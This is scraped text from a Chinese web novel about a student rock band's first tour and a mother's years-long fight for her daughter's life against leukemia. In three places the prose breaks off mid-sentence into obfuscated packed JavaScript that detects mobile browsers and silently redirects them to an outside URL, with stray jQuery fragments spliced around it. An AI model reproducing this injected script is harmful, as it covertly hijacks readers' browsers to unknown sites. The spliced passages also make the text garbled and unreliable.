小廖轻叹了口气:“我也感觉是有点心急了,但也不能像现在这样一直让你们放羊呀。公司本来打算让你们走偏流行一点的路线,你们非要做摇滚,也尊重你们的想法了,但是上张专辑的销量确实是不理想。你们平时要上学,也接不了多少工作,一来曝光度上不去,二来收入也少。公司既然签下你们,给你们发唱片,肯定是要赚钱的嘛。” 大家面面相觑,一时也有点哑口无言。 “所以呢,这回就计划让你们在暑假里做一轮巡演,也相当于是一种宣传了,还能积累不少舞台经验,对你们没坏处的。目前暂定了十个城市,你们要是觉得行,剩下的我再去对接。” 郭源远考虑的比较多:“那巡演的路费和食宿什么的,这些钱是……” 小廖立刻就说:“这个放心,全部由公司来安排,不用你们自掏腰包。”顿了顿又道:“垫付的钱会从巡演收入里扣除。” “哦——”四个人拉长了声音,异口同声地嘘道。 这回大家是对资本家的作风有所见识了。 不过对于去巡演这件事,当然还是兴奋更多。 定下计划,选好了歌曲,接下来就是排练了。郭源远临近毕业,虽然早就没课了,但还得忙着找工作和租房的事,而且他成绩实在是一般,既要糊弄毕业答辩,又得参加大四清考,现在还要兼顾排练,已然是焦头烂额。经常在去姜珏他们学校排练时还揣着复习资料,就想着能在路上多看几眼。 那天大家发现了他的四级真题卷,姜珏大呼小叫道:“不是吧老郭,你到现在还没过四级?” 郭源远也觉得有点丢人:“这不是在抓紧最后一次机会嘛,不然我学位证得飞了。” 姜珏作出论断:“你这个胸大无脑的男人!” 姜玺提问道:“问题来了,胸大无脑的男人用英文怎么说?” 孔潇抢答:“Unsmart mascle man?” “Unsmart也太委婉了吧。”姜珏说道,“foolish?” 郭源远听得一知半解的,但用屁股想也知道绝非什么好词,羞恼地用鼓槌乱敲一通,大声喊道:“肃静!肃静!咱们今天是来排练的,赶紧干正事!” 但郭源远也不是没有别的能耐,他认为巡演这事对身体素质要求较高,因此队员们急需提高体能,以最好的状态投入巡演大业。所以他给每个人列出了锻炼计划,每天必须互相监督完成。 一场演出下来,作为鼓手的郭源远是体能消耗最大的,其次就是又弹又唱的姜珏,姜玺背着把十斤的贝斯一站就是两个小时,也并不轻松,也就孔潇稍好些,弹琴还没那么累。 郭源远一边监督大家锻炼,一边还不忘发表重要意见,指导姜珏道:“你也别总跟个木头似的站在话筒后面唱歌,多没激情啊,你得蹦起来!” 姜珏都无语了:“我还得弹琴呢,我怎么蹦啊?你蹦一个我看看。” “那你得想办法啊,怎么活跃气氛怎么来。你还是队长呢,也不知道上进点。”郭源远一声令下,“罚你今天多跑两圈。” 姜珏怒道:“你故意报复我的是吧?你个胸大无脑的男人!” 如此汗流浃背地奋斗到了学期末,姜珏、姜玺和孔潇结束了大三,郭源远顺利通过了答辩和清考,但再次败于四级,学位证离他远去。 考完了试,姜珏兴奋地跟舍友们说起即将去巡演的事。舍长范昭羽突然问道:“那你不复习司考了吗?” 同寝的都是法学生,惯例会在大四上学期参加司考,不管能不能通过都先去试试。姜珏暑假里忙着巡演,自然是抽不出什么时间复习了。 姜珏平时就跟范昭羽有点不对付。对方是那种一板一眼的优等生,估计也一直觉得她成天不务正业,这时候是泼冷水来了。 姜珏话里带刺道:“你没有比司考更重要的事了,我还有呢。” 七月初,明日回信的夏季巡演正式开始。第一站当然就是本市,演出地在本地一个挺有名气的livehouse里。那天晚上来了三百多人,有些是从《校园新声》比赛时就一直支持他们的乐迷,看着都脸熟了,还来了几个同学朋友,作为顾问的谢焰自然也来了。 明日回信是第一次做专场演出,现场气氛极好,姜珏唱累了就坐在舞台边跟乐迷们聊天,每个队员还有专门的solo秀。在超近距离的互动中,音乐能直接落进乐迷们的每个细胞里,音乐里的每种情绪都能得到台下血液沸腾的反馈,大家从未感到这样兴奋和满足。 要是知道巡演这么爽,早就该开干了! 公司给他们包了辆商务车,配了两个工作人员,也兼任司机,汽车载着乐队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250838|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和乐器开始踏上数千公里的路途。 明日回信在每个周末演一到两场,各地的livehouse和摇滚文化发展水平参差不齐,有些场地和音响差强人意,甚至很烂,有些就堪称高级水准。在有些城市票卖得很好,部分乐迷也许还并不认识明日回信,但就是喜欢到现场听个摇滚燥一下。在有些城市就只能卖出二三十张票,演出结束后也没什么人找他们签名买专辑,难免就很令人沮丧。 不过他们也知道自己还太年轻,无论是名气、口碑、作品还是演出经验,都是需要积累和沉淀的。 这一路巡演也相当于是一趟旅行。两个月里有坐不完的车,赶不完的路,也有听说已久却第一次见到的风景,更有反复的争吵和欢笑。 姜珏的灵感在路上前所未有地爆发,时不时就福至心灵地哼出几句,随手记在纸上。姜玺每天都会写巡演日志,孔潇一路买了好多顶帽子,而郭源远一边大吃大喝,一边就在心疼他毕业前交付的房租。押一付三得多少钱啊,结果这两个月净在外面跑了,也没能住上几天。 八月下旬,明日回信来到一个著名的旅游城市,这里是巡演的最后一站了。 两天后才有演出,大家打算趁着有空先四处转转。早上出门时,雨绵绵的下过古城,每个人都有好心情。大家结伴一路吃一路逛,拍下了好多照片。 很快就到最后一场演出了,四个人都拿出了最认真的态度来做准备,力求给巡演一个完美的收尾。 演出当晚,气氛正热烈时,有一个人顶着周遭乐迷的白眼,努力挤到了前排。 他在喧闹的音乐中朝台上挥手,孔潇看到了他。 他手下顿时就弹劈叉了几个音,幸好有电吉他狂野的音色打掩护,轻易不会被发现。 谢焰就在台下,站在离他不到两米的地方。 这个总是喜欢给他带来惊喜的人。 两个人互相看着彼此,双眼溢满爱意。台上的其他成员也发现了谢焰的到来,等到这一曲结束,姜珏用手指着他,对着话筒笑道:“感谢今晚远道而来的所有朋友!感谢这个难忘的、最后的夜晚。” 唱完最后一首歌,又结束了与乐迷们的签名合影,明日回信的第一次巡演就此结束了。 很疲惫,也有一点失落,但更多的是一种充实的满足与幸福感。 演出完,大家按照惯例去吃了顿夜宵。工作人员开车载着器材先回旅馆了,乐队四个人再加上一个编外的谢焰,打算一起散步回去。 回酒店有一段安静无人的郊外公路。姜珏走着走着伸了个懒腰,道:“以后每年都出来巡演吧。” “好啊。”姜玺赞同,“光十个城市还不够,以后得去更多地方。” 郭源远雄心壮志道:“每年都巡演,演他个十年二十年。” 姜珏接茬:“还要去峤山体育馆开演唱会!” 谢焰道:“口气还不小。” 姜珏切了一声:“瞧不起谁呢。” 孔潇笑道:“就这么定了,早晚要在峤山体育馆来一场。” 谢焰理所当然道:“到时候要给我留个最好的座位。” 姜珏回头朝他说:“想得美,你得花钱买!” 晚上的风一吹,身上便感觉很凉。偶尔抬头一看,满天都是星星。 姜珏和姜玺有说有笑地走在前面。郭源远走在中间,脚下不小心给绊了一下,差点摔跤。孔潇和谢焰走在最后,手牵着手,又突然停下脚步,偷偷地吻在了一起。 星空辽阔,正如一望无垠的璀璨的未来。 正如今夜。 9.晚风(乐迷视角) 在常去的那家咖啡店里,纪盈意外知道了一个消息。 旁边那桌坐了一对年轻男女,年纪相仿,容易让人联想到情侣,但二人间的态度客气而生疏,聊的也都是些初见的话题——并非是纪盈有意偷听,只是这间咖啡店本来也不大,两张桌子离得近,邻桌的对话就一字不漏地传进她耳朵里了。 她猜那两个人应该是第一次见面,大概是相亲来了。 起先她听着也没太留意,之所以会突然竖起耳朵,是因为邻桌那个年轻男子提到了明日回信,还说他们四月份将在本地举办演唱会,纪念乐队成立十五周年。 要不是突然听到这个消息,可能真要错过了。 纪盈立刻用手机搜索明日回信演唱会的相关讯息,找到了购票的方法,又下载软件预约了购票。活了四十多年,她还从来没有去看过任何一场演唱会呢。 想到那天晚上要去到现场,她还有些情怯。现场应该都是些前卫的年轻人吧,自己坐在他们之中大概会显得有点突兀了。 毕竟四十多岁的中年女人,确实不太符合一般人对于摇滚乐迷的印象。不过认真来说,其实她也不能算是一个纯粹的摇滚乐迷,她只是喜欢这支乐队罢了。 下午出了咖啡店,纪盈又去附近超市采买了些食物和生活用品。她现在独自生活,什么东西都不必买太多,像以前那样每次从超市出来都要大包小包的日子,早就一去不返了。 回到家,一打开门就能看到摆在鞋柜上的相框,相框里是一张母女合影。晴晴从后面搂住她的脖子,趴在她肩膀上看着镜头大笑。这是在晴晴最健康的那段时间里,有一次她们出去郊游时拍下的。 一转眼晴晴离开已经快四年了,她也总算慢慢习惯了没有她的生活。 晴晴的大名叫纪雨晴,当年之所以给她取了这个名字,是希望她能度过云销雨霁、晴空万里的一生。可惜她并没有这么幸运,在五岁那一年被确诊了急性髓系白血病M5型,注定要与这个名字的寓意背道而驰。 因为急性髓系M5的治愈率并不算高,就算治好了也有较大可能复发,平均寿命远低于普通人,治疗的过程也将是个无底洞。前夫考虑再三,主张对女儿进行保守治疗,一切遵从“天意”。他们还年轻,将来可以再要一个健康的孩子,大可不必赔上未来数年的心力和金钱去拯救谁——哪怕是自己的亲生女儿。 纪盈无法接受这么冷冰冰的提议:“那是我们的女儿啊!她现在还躺在病床上,你就在盼着她死、盼着将来再要一个孩子了!” 前夫扶着她的肩膀,试图劝她理性:“你冷静一点,这种事情不能感情用事的。你以为我考虑的只是钱的问题吗?你知不知道家里有一个病人有多折磨人?天天得为她操劳、为她难过、为她焦虑。就算这回治好了,也还有各种并发症和后遗症,甚至可能又会复发。她这辈子能活多少年呢?别到时候时间精力和金钱都投进去了,最后还是一场空,那时候你会比现在更要伤心。干脆就长痛不如短痛吧。” 这些道理纪盈何尝不懂,但她的理性终究败给了她的母性。 “你口口声声说什么天意,我告诉你,当年我生下她,现在我就要救她,这才是天意!” 她与前夫在大学里相恋,后来步入婚姻,又有了晴晴,在一起已经超过十年,最终分道扬镳。 前夫在离婚时还算讲道义,把房车存款都留给了她和晴晴,同时也约定日后不会再对女儿尽任何义务,母女俩过得是好是坏都再与他无关。 房子是刚结婚时买的三居室,这几年房价疯涨了一波,她卖掉大房置换了一个老破小,用差价清偿了贷款,还能剩下不少作为晴晴的医药费。 晴晴生病之后,幼儿园就不再去了,抓紧时间开始第一期化疗。因为孩子年纪小,各项身体机能都还比较弱,化疗反应很大,呕吐、发烧、拉肚子、嘴巴溃烂等等并发症都出现了。 看着晴晴遭受病痛折磨,纪盈没有一天不在心如刀割。可是眼看积累的假期就要用完了,不能不回去工作,否则就连唯一的经济来源也要没了,只得让母亲从老家过来帮忙照顾一下晴晴。 母亲也心疼晴晴,照顾得还算细心周到,只是老一辈难免疏于顾及孩子的情绪,动不动就要对着孩子唉声叹气。晴晴是很聪明的小孩,知道自己生了严重的病,给大人添麻烦了。随着病情影响,她不再像从前那样开朗爱笑,尤其是当她发现父亲已经消失不见了。 那天晚上在入睡之前,晴晴抓着纪盈的睡衣问道:“爸爸呢?他不要我们了吗?” 纪盈轻拍她的后背,说:“是我们不要他了。” “为什么不要他了?” “如果妈妈有了他,就没有晴晴了。” 晴晴困惑道:“只能有一个吗?” “只能有一个。” 晴晴认真想了想,埋进她的怀里说:“那你还是要我吧。” 纪盈搂住她小小的身体,笑道:“当然要你了。” 当她们拥紧对方时,除了彼此之外的所有人,都只是外人。 化疗期间,每当血项恢复一些,都要做骨髓穿刺来评估化疗结果。晴晴从一开始的哭泣抗拒,到逐渐习惯了忍耐穿刺针进入骨髓腔的疼痛。化疗进行得还算顺利,避开了易发的肺炎和胰腺炎,病情缓解了许多,但要最终治愈当然还是得做造血干细胞移植。 幸运的是,纪盈自己就是合适的干细胞供体,免去了辛苦寻找配型的过程。她做完体检,跟主治医生确定了治疗方案,立刻给晴晴排队进入移植仓。 移植仓是个跟外界隔绝的无菌区域,晴晴进仓后,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256811|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用药物彻底摧毁了免疫功能。纪盈见不到她,每天只能通过医生和护工了解晴晴的情况。听说她药物反应很大,每天都会呕吐,但还是在努力吃饭。因为不能见到妈妈,本来已经慢慢变得坚强的晴晴,现在又会常常哭泣。 纪盈在仓外打了几天升白针,等到各项数值都符合要求,护士给她抽取了干细胞。不久之后,它会被注射进晴晴的身体里。 她看着那一管深红的血液,想到它来自自己的身体,又将去往晴晴的身体用于拯救她的性命,本就血脉相连的她们又多了一种奇妙而神圣的联结。 她从未比此时更深刻地感受到了何为天意。 移植的前一晚,纪盈和晴晴通电话,跟她说了些安抚和鼓励的话。晴晴说:“我不怕的,今晚我不会哭了。” 纪盈却柔声道:“可以哭的。晴晴已经很厉害了,哭一下也没关系的。” 晴晴顿时就哽咽了,委屈地问:“妈妈,我什么时候才能见到你?” “很快了。”纪盈忍住眼泪,仍用平稳的声音说,“明天做完移植,再等几天妈妈就能去看你了。” 完成移植后,晴晴又在移植仓里待了半个月,然后终于可以转入普通病房进行治疗。出仓的那天,分别已久的母女二人终于再次见到了彼此。晴晴的脸色依然苍白,头发落尽的脑袋上戴着厚厚的针织帽,她看见纪盈,立刻朝她张开双臂,等待妈妈拥她入怀。 纪盈终于泪如雨下,过去紧紧抱住了她幼小的女儿。 晴晴在移植后出现了排异反应,又因为暂时失去了免疫功能,一点点病毒对她来说都很凶险。纪盈和母亲轮流在病床前细心陪护,用了不少昂贵的药剂,所幸晴晴恢复得还不错,各项病毒也都逐渐转阴了。 转眼之间,晴晴已经在医院里待了两个多月了。暮春的一个傍晚,晴晴吃完了晚饭,看着电视也觉得无聊,抱怨道:“好久都没有出去玩了。” “等过阵子出院了,妈妈带你去游乐场好不好?” 晴晴总是听到大人说什么出院出院,但一直遥遥无期,去游乐场听起来也像个空头支票。她不高兴道:“什么时候才能出院啊,你们总是骗我。” 纪盈在心里叹口气,又起身去找医生,确认了晴晴现在做好防护能够外出,便去借了个轮椅过来。 她推着轮椅进到病房,对晴晴笑道:“宝贝,我们现在就出去玩。” 晴晴坐上轮椅,被她推着来到住院部后面的那片绿地上。晴晴许久没有出过病房,这时兴奋地举起双手,快乐地又笑又叫,黄昏的风吹过她的指间,卷起她的笑声飘荡而去。 纪盈看着她的笑脸,感到一种劫后余生的幸福。 这大半年来吃尽了苦头,存款也花得差不多了,但是都没关系,她从死神手中夺回了她的女儿。 10.晚安昨日(乐迷视角) 在初夏时节,晴晴终于出院了。 这时她的免疫功能还未恢复,肠道也比较脆弱,回家要继续疗养。在纪盈和母亲的照料下,晴晴的血项和体质都在提升,渐渐也能吃更多种类的食物了。一切都在好转。 就在纪盈终于稍微松了口气时,上司找她去谈话了。 等待她的是调岗通知,上司委婉地告诉她,她现在的情况已经不适合在原岗位上继续工作,调岗对她和公司都好。 其实她对这个结果早有预料。公司没有在她最艰难的时候雪上加霜,而是等到现在才做出这个决定,已经算很有人情味了。 她曾觉得自己的人生是努力加幸运的结果,九十年代末从小地方考到大城市的名校,在世纪初进入外企工作,是那个年代里人人羡慕的白领精英。晴晴生病前她已经是采购部的经理,年轻有为,前途大好。 但在晴晴生病后,她多次拒绝了必要的出差,时不时还得请假和早退,在工作上投入的精力也不如从前。大家都知道她的孩子罹患白血病的事,也尽量理解和通融了,然而她已经无法胜任这份工作——这是不争的事实。 这半年来,已有另外一名同事逐渐替代她成为实质上的部门经理。所有的人,也包括她自己都知道,这个位置早就不属于她,只差走完正式任免/流程罢了。 她当然可以跟上司恳求保留原职,保证今后全心投入工作,但她知道这是假话。晴晴在术后身体不好,比普通孩子需要更多的照护,而自己现在又是个单亲妈妈,已经不可能再像当初那样在职场拼搏。 她接受了调岗,职级有所降低,薪资自然也减少了,不过倒是相对清闲,是一份符合世俗期待的可以“兼顾家庭”的工作。 晴晴在家里休养一年,次年九月才上了小学。依然要长期吃药,定期做骨穿检查,身体免疫力较弱,肝脏也一直不好。晴晴作为一个病弱的小孩,又成长生活在单亲家庭,当然是很懂事,但也并非总是那么乖。 比如写作业经常磨磨蹭蹭的,因为贪图看电视拖到很晚才去洗澡,第二天早上就起不来,还老把不爱吃的鸡蛋黄偷偷藏起来扔掉。在学校里犯了事被叫家长也是有过的。 那次纪盈接到班主任的电话,说晴晴把同班的一个小男孩给打了。她请了假匆匆赶到学校,在教师办公室里见到了闹矛盾的两个小孩,对方家长已经先一步到了,正面色不善地等着她道歉。 纪盈脸上有些挂不住,问晴晴:“怎么回事啊?你怎么欺负同学呢?” 晴晴委屈道:“是他先欺负我的。” 对方家长没好气道:“他就说了你几句,你也说他不就完了,再怎么样也不能动手啊。” 班主任连忙出来劝和,描述了事情经过。纪盈又听了两个小孩的解释,总算搞明白状况了。 因为晴晴身体不好,以前也跟老师报备过,很多体育活动都不必参加。最近天气热了,她偷懒不想去上体育课,就请假留在教室里。那男生也是嘴贱,就笑话她弱,问她是不是来“大姨妈”了。晴晴也生了气,两个人就在教室里互相推搡。 晴晴比同班同学们都大一岁,女孩又普遍发育更早,个子比那个男生高了一截。推搡几下,男生往后一倒,刚好磕到了桌角,摔倒在地上大哭起来。 弄清楚了原委,纪盈的腰杆也挺直了,道:“动手确实是不对,但你们家孩子不也动手了吗?” 对方家长不依不饶道:“是你们家孩子先推人的!刚才我们都看过监控了。” “那也是你们家孩子先招惹人啊,他要是不说那些讨嫌的话,今天不就没这事了?” “小孩子之间开开玩笑而已,人家正常孩子哪有这么计较的?”对方家长阴阳怪气道,“谁知道你女儿是真的有病,一句都说不得。” 纪盈一下子就火了:“你儿子没病,说得,也打得,所以被推几下又怎么了?我看他经打着呢!我女儿就是一句都说不得,你儿子要是再招惹她,下次还得挨打!” 班主任看这局势是一触即发,急忙两边安抚。对方家长先拿晴晴生病来说事,多少有点理亏,也不再追究了。最后两个孩子互相道了歉,这事就算过去了。 晴晴一天天长大,渐渐有大女孩的模样了,也交了几个好朋友,不再像从前那样总是粘着妈妈。床头贴上了明星的海报,锁紧的抽屉里也有了秘密,还会在纪盈走进她房间时不满地说:“你进来怎么都不敲门呢?” 纪盈见她周末在家里抱着手机看个没完,也忍不住说她:“整天就知道玩手机,有时间也不复习一下功课。明年就上初中了,你这回要是考不进区重点,以后就等着上职高去吧。” 晴晴抱怨道:“我都累了一星期了,玩一会儿还不行吗?人家尖子生周末都去补课的,你也掏钱让我去补课呗。” 纪盈道:“学习关键得在自己。我小时候也没补过课,不照样一路考上好学校了?” “你那都什么年代了,跟现在能一样吗?别说补课了,你要能买个学区房,闭着眼都能进区重点,哪还用得着这么费劲。” 纪盈来了脾气:“咱们家什么情况你不知道吗?我一个人带你够辛苦的了,还跟我要学区房。你自己就不能争气点吗?” 晴晴反驳道:“我什么情况你不知道吗?都不懂能不能活到上职高呢。你就让我过几天舒服日子也不行?” 纪盈最听不得这些,气道:“你说什么胡话呢!就为了给你治这个病,当初我房子也卖了,工作都差点没了,不知道吃了多少苦头。结果你倒好,长这么大还一点都不懂事!” “那你当初别救我啊,你让我死了不就好了!” 那时纪盈已经气得抬起了手,眼看一个耳光就要对着晴晴扇下去。晴晴也不躲开,闭上眼睛就等着她那一巴掌,但预想中的耳光并没有落下。 纪盈负气离开了晴晴的房间,晴晴张口欲言又止,眼泪滚落下来。她心里很委屈,然而更多的是自责。她宁愿妈妈刚才打了她,因为连她自己也明白那一时冲动说出的话有多么伤人。 那天晚上,纪盈还是做了两个人的晚餐,冷淡地招呼晴晴过去吃饭。晴晴在餐桌前坐下,母女二人互不搭理,沉默地吃完了这顿饭。 晚饭后晴晴就出门了,纪盈猜她大概是去找朋友玩了。母女俩刚吵过架,现在她应该不想看见自己,其实自己也不太想看见她。 虽然她一向不赞成大人们用那个词汇形容孩子——但今天的晴晴确实就像个白眼狼。 晚些时候,晴晴回来了。纪盈坐在客厅沙发上看电视,当没看见她。晴晴换了鞋子想要回房间,又扭扭捏捏地挪到沙发旁边,坐到了纪盈身旁。 她从背后掏出来一个小花束,有三支康乃馨和一些喷泉草,低着头递到纪盈面前。 纪盈已经明白了她的用意,心里一软,白天的火气也都消散了,但还是板着脸问:“干什么?” “赔礼道歉。”晴晴晃了晃那束花,悄悄瞟一眼妈妈又迅速低下头,有些不好意思地笑道,“本来想买束大的,但咱们家就这个情况,钱还是省着点花吧。” 纪盈又气又好笑,把花接了过来:“你别的时候也这么懂事就好了。” “其实我也挺懂事的啊。”晴晴在说这话时还是有点理亏,半是撒娇半是抱歉道,“就是有时候说话不过脑子,你大人有大量,就别跟我一般见识了吧。” 她主动贴过去抱住了妈妈的腰,把头靠在她肩膀上,纪盈便也摸了摸她的头。两个人像以往的那么多年里一样亲密无间地互相依偎,此时已不需要更多的言语。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264111|166269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “上职高就上职高吧。”纪盈笑道,“反正你能健健康康地长大就行了。” 但即使是这么简单的愿望也未能实现,晴晴的白血病还是复发了。 病来如山倒,晴晴病情复发后不能再去学校,立刻开始化疗。这回是髓内复发,骨头连着神经每时每刻都在疼。又因为她常年体质积弱,身体已经耐不住化疗的药物,只能暂时停药缓几天。 不想在停药期间又发生了肺部感染,晴晴被送进了重症室。主治医生私下里告诉纪盈,按照晴晴现在的身体情况,基本已经没有二次移植的机会,下一个疗程可能就是最后的治疗了,让她做好心理准备。 她知道,那个时刻还是来了。那个选择了长痛而非短痛,付出了一切后依然无法逆转命运的时刻,终究还是没有放过她和她的女儿。 晴晴茂密的头发再次掉落下来,像她五六岁时一样。她的身体一天天衰败,浑身都疼得厉害。医生不再限制给她注射止疼针,这时候副作用已经不重要了,只要能让她不那么痛苦地、有尊严地度过最后的日子。 那一天下午,晴晴难得精神不错。纪盈扶她坐起来,她看着病房窗外,突然感叹:“好久都没有出去玩了。” 纪盈笑道:“等你身体好了,我们再出去露营好不好?不过再往下天气就热了,还是等到秋天合适点。” 晴晴虚弱地笑了笑:“好啊。” 虽然她们都知道这是一个谎言,晴晴等不到下一个秋天了。 “我去借个轮椅,等会儿推你下楼去逛逛吧。” 然而纪盈刚把轮椅借到,外面就传来了雨声。初夏时节总是多雨。晴晴遗憾道:“可惜了,这雨不知道要下多久。” 纪盈安慰道:“应该只是阵雨,雨过就会天晴了。” 晴晴想到了自己的名字,笑问:“像我一样?” 纪盈也笑道:“对,像你一样。” “雨过天晴的时候,就会有彩虹吧?” “嗯。” “那以后你看到彩虹的时候,就是看到我了。” “说什么呢。”纪盈有些哽咽,“什么以后,先过好今天再说。” 好像只要不提那个注定分别的未来,它就真的不会到来。 晴晴反而更坦然一些,说:“你不觉得累吗?我都感觉累死了,早点解脱也挺好的。” 当然很累,虽然纪盈从未后悔过自己的选择,但在日复一日的牺牲与操劳中,她也不可能没有半点怨言。 但她还是握住晴晴的手,说:“宝贝,为了你再累也值得的。” 晴晴的泪水滚落下来,但还是先去替妈妈擦掉了眼泪:“下辈子你一定要有个健康的女儿。” 纪盈却摇头,道:“下辈子我的女儿还是你,你是什么样子,我的女儿就是什么样子。” 她倾身抱住了晴晴,那是两个人的最后一次相拥。无论是病魔、雨声、疼痛,还是那个已知却不愿面对的未来,都被隔绝在了这个拥抱之外。 这场雨一直没有停,当天晚上,晴晴被送进了抢救室。 白天晴晴的精神好转正像是最后的回光返照,纪盈等在抢救室外,冥冥之中已经料到了那个结果。 她安静地坐在长椅上,心境竟是意外的平和。她回忆着晴晴的出生、牙牙学语、跌跌撞撞地学会走路,再到第一次与病魔对抗,以及她们相依相伴的无数个温馨而快乐的时刻。 抢救室的门打开了,医生从里面走出来,摘掉口罩对她说了些什么。 她却感觉周围一片寂静,什么也听不到。 她望向抢救室的门口,在看到那个覆盖着白色被单的病床被推出来时,不忍地转开了头。 她闭上双眼,在心中默道:晴晴,我挚爱的宝贝,晚安。 11.彩虹(乐迷视角) 料理完晴晴的后事,纪盈便销假回去工作了。日子一如往常,如果要说有什么不同,生活上确实比以前轻松了很多。 母亲担心她承受不住丧女的打击,在葬礼结束后还一直留在这里陪伴她,就怕她突然一个想不开,会做出什么不理智的事。她只得反过来宽慰母亲:“我没事的,其实早有心理准备了,就是一时半会儿还有点接受不了,不过日子总要过下去的。” 母亲叹道:“你说你,本来有那么好的工作,当初跟小赵的感情也挺不错的,就为了给晴晴治病,什么都放弃了。耗了这么些年,最后人也没了,钱也没了,就剩下自己孤家寡人。” 纪盈说:“我不后悔。” “我知道你不后悔。”母亲道,“我就是看着替你难受。” 纪盈问:“那如果是我病了呢?” 她把问题抛给母亲,是因为知道她也会做出和自己一样的选择。 母亲叹了口气,便不再说什么了。 日子总要过下去,但要接受女儿的离开并不是那么容易的事。 在晴晴去世后,纪盈就把她的房间锁起来了。以前晴晴会抱怨她不敲门就走进她的房间,现在她却不敢再往里迈进一步。那个小房间里的一事一物都充斥着她最熟悉的、属于女儿的气息,站在房间里,就好像还能看到晴晴在书桌前埋头做作业,或是趴在床上玩手机。 她不忍走进去,也不敢走进去。 原本晴晴的生命要结束在五岁,她用尽一切才多争取到了八年的时光。但这依然太短暂了,晴晴还没有上初中,还没有真的来过“大姨妈”,还没有来得及去看更广阔的世界。然而纵使用尽一切只换来她们转瞬即逝的相聚,她也并不后悔。 但是之后呢? 生活的重心好像一瞬间就消失了,她感到有一点孤独,也有一点茫然。 看看日历,再有两个月自己就要满四十岁了。当年的那些大学同窗们,在这个年纪早已拥有了优渥的生活,有的成为了行业内的中流砥柱,有的创业成功富甲一方,也有的已经定居海外。大家都说他们是享受了时代红利的一代人,但她在时代的浪潮里翻滚数年,好像一无所获。 往后的路,她不必再勉力为谁遮风挡雨了。时髦的口号总说女人要为自己而活,那在四十岁的年纪还来得及吗?怎样又才算为自己而活呢? 晴晴在初夏时离开,转眼已经是夏末了。夏末的一个周日下午,纪盈出门采买些食物和生活用品。大概是因为现在空闲时间变多了——甚至多得有些令人无所适从,她没有去到附近那家常去的超市,而是拐去了更远的商业区。 她停好了车,正步行去往超市,不巧突然下起了一阵急雨。她匆忙间跑到了路边一家咖啡店的屋檐下,略犹豫了一下,还是推门走进了店里。 她拍了拍身上的雨水,找了个空桌位坐下,恍然发觉自己已经好久没有来过这种地方了。 在还年轻的时候,她也常跟朋友或恋人来这样的小店,点上一杯喝的、一份点心,能坐着聊一下午。那年代咖啡店没那么多,还属于很小资的场所,出入的也大多是当时的时髦青年。十几年过去,连锁或独立品牌的咖啡店已经开得遍地都是,而她却已经太久没有机会悠闲地享用一杯咖啡了。 她点了一杯卡布奇诺,还记得刚毕业那会儿,最爱喝的就是这个。 不多久卡布奇诺就被端了上来,她浅抿一口,嘴里充满了咖啡的醇香。她望向外面,雨还在下着,令她想起了晴晴离开的那天。白天时也是有一场突如其来的雨,打碎了晴晴最后一次出去转转的机会。 又想起这些了,纪盈逼自己转开注意力,认真听起了店里正在播放的歌曲。 上一首歌曲刚好放完,轮到了一首新的。开场是一串三节拍的口琴声,听起来轻巧活泼,充满了童趣,接着跟上了低沉的贝斯声,贝斯并不像常见的那样作为根音在律动,而是弹起欢快的旋律,不知怎么的叫纪盈想起了摇晃拨浪鼓的声音。 她等了许久也没等到人声和歌词,猜想这大概是一首挺有意思的纯音乐。然后竟突然听到了几声婴儿的叫声,像在牙牙学语,又像只是在吸引大人的注意。到副歌部分,旋律带上了深邃有力的节奏,同时伴着婴儿的笑声,仿佛襁褓中的孩子在笑看未来一片光明的坦途。 纪盈听得眼眶微微发热,忍不住起身去问店员:“正在放的这首歌叫什么名字?” “您稍等,我去看看。”店员从后台电脑里找到了歌名,告诉她,“叫《女儿歌》。” 《女儿歌》?这个名字让纪盈感到惊讶,它竟这么恰好就是一支写给女儿的歌。 “是谁唱的?”想到这首歌里并没有人真的在“唱”,她又改口问道,“是谁的歌?” “明日回信,是一支乐队。” 纪盈平时听歌不多,更没有关注过乐队,还是第一次听说这个名字。她道:“好的,谢谢你了。” 回到座位上,她拿出手机开始搜索这个叫明日回信的乐队。她好奇这是一支怎样的乐队,又是出于什么因缘际会而写出了这首《女儿歌》呢? 一杯咖啡喝完,雨也停下了。纪盈再抬头看向窗外时,见外面已经云销雨霁,重新洒满了阳光。夏天总是会有这样的阵雨,只是夏天也快要结束了。 推门走出咖啡店时,她还在惦记着刚才听到的那首歌。她低头走在人行道上,轻声哼着副歌部分的旋律。突然听见擦肩而过的女孩子在兴奋地对朋友说:“快看,是彩虹哎!” 她也抬头望去,只见一道七色的彩虹正横跨在雨后的天空中,绚丽得令人震撼 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挚爱的女儿离开了,但也一直都在,在每一个雨过天晴的时刻,抬起头就能看到她。 